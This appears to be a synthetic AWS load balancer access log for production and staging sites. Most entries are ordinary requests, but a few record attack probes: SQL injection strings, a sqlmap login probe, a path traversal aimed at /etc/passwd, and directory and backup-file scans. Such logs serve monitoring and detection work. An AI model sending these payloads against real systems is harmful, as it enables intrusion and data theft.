HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd15-6b0cfb9c8346489c97a1ddd7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:23:33.598321Z "forward" "-" "-" "10.0.88.213:443" "301" "-" "-" +http 2024-11-01T00:23:34.525827Z staging-alb 28.248.32.209:64706 110.76.233.88:80 0.006260 0.524742 0.134433 302 302 326 3368 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd16-151a01642fee4fd6847be119" "staging-alb.example.com" "-" 7 2024-11-01T00:23:34.525827Z "forward" "-" "-" "110.76.233.88:80" "302" "-" "-" +https 2024-11-01T00:23:35.685056Z prod-api-alb 109.34.77.232:57242 10.0.45.186:443 0.021529 0.339177 0.030788 301 301 641 2708 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd17-008b91f290fe444b84f0e529" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:35.685056Z "forward" "-" "-" "10.0.45.186:443" "301" "-" "-" +https 2024-11-01T00:23:37.192749Z prod-web-alb 194.93.33.171:21111 10.0.241.65:443 0.027307 0.013136 0.067015 301 301 764 13072 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd19-02c3f7f72779462ebf348b5c" "prod-web-alb.example.com" "-" 3 2024-11-01T00:23:37.192749Z "forward" "-" "-" "10.0.241.65:443" "301" "-" "-" +https 2024-11-01T00:23:38.045839Z prod-api-alb 93.228.239.154:43328 10.0.85.61:443 0.091618 0.286329 0.077853 200 200 762 9719 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd1a-7c8efa2ca16149f48e9752cc" "prod-api-alb.example.com" "-" 3 2024-11-01T00:23:38.045839Z "forward" "-" "-" "10.0.85.61:443" "200" "-" "-" +https 2024-11-01T00:23:39.052450Z prod-web-alb 138.12.207.86:39278 10.0.13.107:443 0.079331 0.351540 0.083704 200 200 163 12298 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd1b-0e150f246e3846daab0a6c03" "prod-web-alb.example.com" "-" 9 2024-11-01T00:23:39.052450Z "forward" "-" "-" "10.0.13.107:443" "200" "-" "-" +http 2024-11-01T00:23:40.940355Z staging-alb 181.130.142.112:39631 48.162.121.153:80 0.112591 0.407418 0.035623 200 200 572 2691 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd1c-b9a9bc3622194b27b2d58c49" "staging-alb.example.com" "-" 8 2024-11-01T00:23:40.940355Z "forward" "-" "-" "48.162.121.153:80" "200" "-" "-" +https 2024-11-01T00:23:42.909960Z prod-api-alb 220.58.184.228:27319 10.0.154.152:443 0.079303 0.406128 0.001981 200 200 489 12418 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd1e-ded47104ac4640b3b94ba986" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:42.909960Z "forward" "-" "-" "10.0.154.152:443" "200" "-" "-" +https 2024-11-01T00:23:44.668183Z prod-web-alb 230.193.58.218:29029 10.0.142.16:443 0.063267 0.278573 0.095150 200 200 422 9830 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd20-5dbd216f96f5472cb057444b" "prod-web-alb.example.com" "-" 6 2024-11-01T00:23:44.668183Z "forward" "-" "-" "10.0.142.16:443" "200" "-" "-" +https 2024-11-01T00:23:46.331661Z prod-api-alb 192.247.84.7:47191 10.0.122.182:443 0.064231 0.026847 0.079835 200 200 492 976 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd22-ecbdfe1c62cc4ad3bff5ef0a" "prod-api-alb.example.com" "-" 8 2024-11-01T00:23:46.331661Z "forward" "-" "-" "10.0.122.182:443" "200" "-" "-" +http 2024-11-01T00:23:47.425987Z staging-alb 179.214.229.154:28006 31.196.59.131:8080 0.089417 0.310213 0.075961 404 404 792 14382 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd23-53f3ab556b3545c8b005a573" "staging-alb.example.com" "-" 7 2024-11-01T00:23:47.425987Z "forward" "-" "-" "31.196.59.131:8080" "404" "-" "-" +https 2024-11-01T00:23:48.475795Z staging-alb 254.120.36.92:40436 70.142.162.9:8080 0.113531 0.286706 0.098802 404 404 755 11168 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd24-a96957dae85344a78bf7121b" "staging-alb.example.com" "-" 4 2024-11-01T00:23:48.475795Z "forward" "-" "-" "70.142.162.9:8080" "404" "-" "-" +https 2024-11-01T00:23:49.430658Z staging-alb 69.126.112.239:14944 13.67.74.239:443 0.084873 0.474203 0.066265 404 404 270 4717 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd25-ba61e6a739c2403a8dc8a236" "staging-alb.example.com" "-" 9 2024-11-01T00:23:49.430658Z "forward" "-" "-" "13.67.74.239:443" "404" "-" "-" +https 2024-11-01T00:23:51.236183Z prod-api-alb 78.187.11.25:45712 10.0.163.89:443 0.020887 0.194524 0.091033 200 200 913 3091 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd27-f2d44edfa7cf449cba3e2e5d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:51.236183Z "forward" "-" "-" "10.0.163.89:443" "200" "-" "-" +https 2024-11-01T00:23:53.219040Z prod-web-alb 204.153.137.189:34143 10.0.211.109:443 0.069572 0.040968 0.080535 200 200 235 1723 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd29-7858199af6a84d68907a1ed4" "prod-web-alb.example.com" "-" 3 2024-11-01T00:23:53.219040Z "forward" "-" "-" "10.0.211.109:443" "200" "-" "-" +https 2024-11-01T00:23:55.062323Z prod-api-alb 41.118.75.184:13703 10.0.160.112:443 0.057108 0.369410 0.027422 200 200 101 14739 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd2b-cf8da8aaf5c6464493ea7d39" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:55.062323Z "forward" "-" "-" "10.0.160.112:443" "200" "-" "-" +https 2024-11-01T00:23:55.505534Z prod-api-alb 25.99.83.129:47564 10.0.84.3:443 0.040613 0.030193 0.059964 200 200 559 7551 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd2b-73eea988119f4c068c54b926" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:55.505534Z "forward" "-" "-" "10.0.84.3:443" "200" "-" "-" +http 2024-11-01T00:23:56.214328Z staging-alb 28.102.230.171:51653 240.179.76.196:443 0.040613 0.287407 0.082999 200 200 11 13169 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd2c-70cf3a47ce9848f6b8a47630" "staging-alb.example.com" "-" 6 2024-11-01T00:23:56.214328Z "forward" "-" "-" "240.179.76.196:443" "200" "-" "-" +https 2024-11-01T00:23:56.747643Z prod-web-alb 103.65.119.61:21768 10.0.39.139:443 0.054247 0.379331 0.020824 301 301 24 3356 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd2c-8d6846dcdb8145a1aae24d52" "prod-web-alb.example.com" "-" 7 2024-11-01T00:23:56.747643Z "forward" "-" "-" "10.0.39.139:443" "301" "-" "-" +https 2024-11-01T00:23:57.535093Z prod-web-alb 123.194.35.222:21001 10.0.6.201:443 0.064811 0.264512 0.039502 200 200 545 9176 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd2d-025d21a1d4d04163b462b56b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:23:57.535093Z "forward" "-" "-" "10.0.6.201:443" "200" "-" "-" +https 2024-11-01T00:23:58.844000Z prod-web-alb 198.157.101.103:14410 10.0.204.121:443 0.060189 0.350265 0.099254 301 301 99 13774 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd2e-dc133716b8e44b5580a6dc0e" "prod-web-alb.example.com" "-" 9 2024-11-01T00:23:58.844000Z "forward" "-" "-" "10.0.204.121:443" "301" "-" "-" +https 2024-11-01T00:23:59.472431Z prod-web-alb 150.26.210.197:10348 10.0.148.252:443 0.009801 0.118362 0.069581 404 404 223 11487 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd2f-036315eb4f594eae938ef257" "prod-web-alb.example.com" "-" 2 2024-11-01T00:23:59.472431Z "forward" "-" "-" "10.0.148.252:443" "404" "-" "-" +https 2024-11-01T00:24:01.343922Z prod-api-alb 185.181.39.39:31676 10.0.76.20:443 0.030514 0.259105 0.077695 200 200 3 10940 "GET /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd31-0f3648fbd75a4c6787daf450" "-" "-" 0 2024-11-01T00:24:01.343922Z "forward" "-" "-" "10.0.76.20:443" "200" "-" "-" +http 2024-11-01T00:24:02.885399Z staging-alb 185.181.73.18:60787 110.32.208.186:443 0.055860 0.379101 0.144636 302 302 818 2975 "POST /phpmyadmin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd32-c5a82330602341dfaac23b99" "-" "-" 2 2024-11-01T00:24:02.885399Z "forward" "-" "-" "110.32.208.186:443" "302" "-" "-" +https 2024-11-01T00:24:04.707225Z prod-web-alb 180.25.4.110:44082 10.0.196.106:443 0.047067 0.412270 0.025066 200 200 992 2060 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd34-6ef7742181ed4edc99a46bee" "prod-web-alb.example.com" "-" 7 2024-11-01T00:24:04.707225Z "forward" "-" "-" "10.0.196.106:443" "200" "-" "-" +https 2024-11-01T00:24:06.190185Z prod-api-alb 217.12.15.196:23521 10.0.82.232:443 0.073146 0.157984 0.015774 301 301 289 288 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd36-1bf802a11f014adb952db6b1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:06.190185Z "forward" "-" "-" "10.0.82.232:443" "301" "-" "-" +https 2024-11-01T00:24:07.785087Z prod-web-alb 185.181.118.169:18172 10.0.138.220:443 0.072605 0.385797 0.068714 403 403 691 2309 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd37-794d5eb99b4b48a09ca8db33" "-" "-" 6 2024-11-01T00:24:07.785087Z "forward" "-" "-" "10.0.138.220:443" "403" "-" "-" +http 2024-11-01T00:24:09.738289Z staging-alb 123.233.104.168:15159 167.159.57.183:80 0.019312 0.293802 0.138739 200 200 528 7357 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd39-c957fcfb39bd42e389c5ca16" "staging-alb.example.com" "-" 4 2024-11-01T00:24:09.738289Z "forward" "-" "-" "167.159.57.183:80" "200" "-" "-" +http 2024-11-01T00:24:10.660229Z staging-alb 107.144.134.216:14003 211.183.104.161:443 0.067329 0.491756 0.063650 200 200 963 9412 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd3a-e318be220062477ab267820d" "staging-alb.example.com" "-" 5 2024-11-01T00:24:10.660229Z "forward" "-" "-" "211.183.104.161:443" "200" "-" "-" +https 2024-11-01T00:24:12.496327Z prod-web-alb 242.222.142.68:56774 10.0.205.207:443 0.009343 0.277393 0.034759 200 200 477 13783 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd3c-9e715b0a0d8b489b91ad2029" "prod-web-alb.example.com" "-" 1 2024-11-01T00:24:12.496327Z "forward" "-" "-" "10.0.205.207:443" "200" "-" "-" +https 2024-11-01T00:24:13.291588Z prod-web-alb 207.97.193.205:36869 10.0.126.97:443 0.096294 0.231298 0.027195 302 302 954 13358 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd3d-46783b3732fc410387e6ced9" "prod-web-alb.example.com" "-" 6 2024-11-01T00:24:13.291588Z "forward" "-" "-" "10.0.126.97:443" "302" "-" "-" +https 2024-11-01T00:24:14.335889Z prod-api-alb 237.148.77.164:21400 10.0.35.198:443 0.029784 0.097283 0.020843 200 200 838 306 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd3e-98ac213e5f064e5bb775bfc4" "prod-api-alb.example.com" "-" 5 2024-11-01T00:24:14.335889Z "forward" "-" "-" "10.0.35.198:443" "200" "-" "-" +https 2024-11-01T00:24:15.525590Z staging-alb 242.219.89.76:28629 105.253.169.44:8080 0.102371 0.044740 0.067415 404 404 439 8600 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd3f-3dc82ef950104165bd2b9435" "staging-alb.example.com" "-" 2 2024-11-01T00:24:15.525590Z "forward" "-" "-" "105.253.169.44:8080" "404" "-" "-" +https 2024-11-01T00:24:15.713404Z prod-api-alb 12.229.249.208:45390 10.0.203.210:443 0.026202 0.237949 0.088621 200 200 147 645 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd3f-dabfce2264c74e6cacf59730" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:15.713404Z "forward" "-" "-" "10.0.203.210:443" "200" "-" "-" +http 2024-11-01T00:24:17.329338Z staging-alb 136.42.191.240:51057 115.47.73.38:443 0.099157 0.606956 0.035682 200 200 201 13978 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd41-61a3721dc02f4053bfff1252" "staging-alb.example.com" "-" 7 2024-11-01T00:24:17.329338Z "forward" "-" "-" "115.47.73.38:443" "200" "-" "-" +https 2024-11-01T00:24:19.051573Z prod-api-alb 45.108.229.141:14874 10.0.84.230:443 0.009804 0.377658 0.018299 301 301 69 4429 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd43-af50366fe7d3491c92af4bf3" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:19.051573Z "forward" "-" "-" "10.0.84.230:443" "301" "-" "-" +https 2024-11-01T00:24:20.513017Z prod-web-alb 21.47.107.139:11230 10.0.186.110:443 0.041075 0.050687 0.026551 302 302 33 4190 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd44-de7922f72ace45dfbe186fa4" "prod-web-alb.example.com" "-" 2 2024-11-01T00:24:20.513017Z "forward" "-" "-" "10.0.186.110:443" "302" "-" "-" +https 2024-11-01T00:24:21.731761Z prod-api-alb 0.22.201.136:57345 10.0.192.234:443 0.067942 0.463450 0.080301 301 301 52 5780 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd45-935ffcbe03a94be9844334ce" "prod-api-alb.example.com" "-" 1 2024-11-01T00:24:21.731761Z "forward" "-" "-" "10.0.192.234:443" "301" "-" "-" +https 2024-11-01T00:24:21.932075Z prod-web-alb 157.66.53.129:41628 10.0.152.2:443 0.043665 0.100059 0.089267 200 200 51 12686 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd45-fc9e5c88645842e39035c8c5" "prod-web-alb.example.com" "-" 4 2024-11-01T00:24:21.932075Z "forward" "-" "-" "10.0.152.2:443" "200" "-" "-" +https 2024-11-01T00:24:22.830414Z prod-web-alb 80.245.232.106:22220 10.0.196.114:443 0.044154 0.452325 0.058136 302 302 497 758 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd46-e64eda6eab284dd7be0758e6" "prod-web-alb.example.com" "-" 4 2024-11-01T00:24:22.830414Z "forward" "-" "-" "10.0.196.114:443" "302" "-" "-" +https 2024-11-01T00:24:23.077551Z prod-web-alb 129.132.192.123:39193 10.0.203.98:443 0.071428 0.391849 0.068322 302 302 463 11748 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd47-b87cdf82445d47b1898ad2a8" "prod-web-alb.example.com" "-" 8 2024-11-01T00:24:23.077551Z "forward" "-" "-" "10.0.203.98:443" "302" "-" "-" +https 2024-11-01T00:24:24.305650Z staging-alb 189.216.136.71:25965 4.12.179.248:80 0.129525 0.230529 0.119180 404 404 429 4619 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd48-6cd2d772bdf249eba1ac82fd" "staging-alb.example.com" "-" 10 2024-11-01T00:24:24.305650Z "forward" "-" "-" "4.12.179.248:80" "404" "-" "-" +https 2024-11-01T00:24:25.569822Z staging-alb 193.27.228.181:35452 92.109.126.122:8080 0.117797 0.542136 0.116303 403 403 412 13401 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd49-a7984599e41f4322bfd4dfa8" "-" "-" 6 2024-11-01T00:24:25.569822Z "forward" "-" "-" "92.109.126.122:8080" "403" "-" "-" +https 2024-11-01T00:24:26.117222Z prod-web-alb 193.27.228.87:16839 10.0.210.251:443 0.051800 0.361116 0.088782 302 302 475 4159 "GET /config.php~ HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd4a-674c1ba96fa546729a9ae9de" "-" "-" 6 2024-11-01T00:24:26.117222Z "forward" "-" "-" "10.0.210.251:443" "302" "-" "-" +https 2024-11-01T00:24:28.115506Z prod-web-alb 123.19.173.173:11683 10.0.3.161:443 0.021035 0.222044 0.059394 200 200 221 12132 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd4c-461a3026994f4e048642ecb0" "prod-web-alb.example.com" "-" 10 2024-11-01T00:24:28.115506Z "forward" "-" "-" "10.0.3.161:443" "200" "-" "-" +https 2024-11-01T00:24:28.564460Z prod-api-alb 55.139.118.150:29955 10.0.104.187:443 0.083462 0.179420 0.088805 200 200 310 3741 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd4c-7b1a40a2794d44649857a6f1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:28.564460Z "forward" "-" "-" "10.0.104.187:443" "200" "-" "-" +http 2024-11-01T00:24:29.395298Z staging-alb 227.127.155.202:21618 96.22.49.221:80 0.083030 0.087302 0.019703 301 301 548 8710 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd4d-1de5e4b25ca14d1388ce1ebb" "staging-alb.example.com" "-" 5 2024-11-01T00:24:29.395298Z "forward" "-" "-" "96.22.49.221:80" "301" "-" "-" +https 2024-11-01T00:24:29.934284Z prod-api-alb 212.103.85.82:53916 